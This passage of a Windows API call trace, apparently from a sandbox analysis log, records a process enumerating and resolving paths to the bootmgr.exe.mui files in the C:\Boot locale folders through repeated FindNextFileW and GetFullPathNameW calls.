ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.824] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0121.824] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\", lpFilePart=0x0) returned 0xe [0121.825] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.826] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.827] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.828] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0121.828] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\", lpFilePart=0x0) returned 0xe [0121.828] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.829] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0121.829] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\", lpFilePart=0x0) returned 0xe [0121.830] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.830] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.830] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.832] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.833] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.833] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0121.833] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\", lpFilePart=0x0) returned 0xe [0121.834] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.834] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0121.835] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\", lpFilePart=0x0) returned 0xe [0121.835] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.835] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.835] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.835] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0121.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\", lpFilePart=0x0) returned 0xe [0121.837] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.837] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.837] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0121.838] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\", lpFilePart=0x0) returned 0xe [0121.838] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.838] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.838] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.838] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.839] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.839] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0121.839] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\", lpFilePart=0x0) returned 0xe [0121.839] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.839] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.840] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.840] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0121.840] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\", lpFilePart=0x0) returned 0xe [0121.840] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.840] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.840] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.841] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.842] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.842] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0121.842] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\", lpFilePart=0x0) returned 0xe [0121.842] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.842] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.842] FindNextFileW (in: 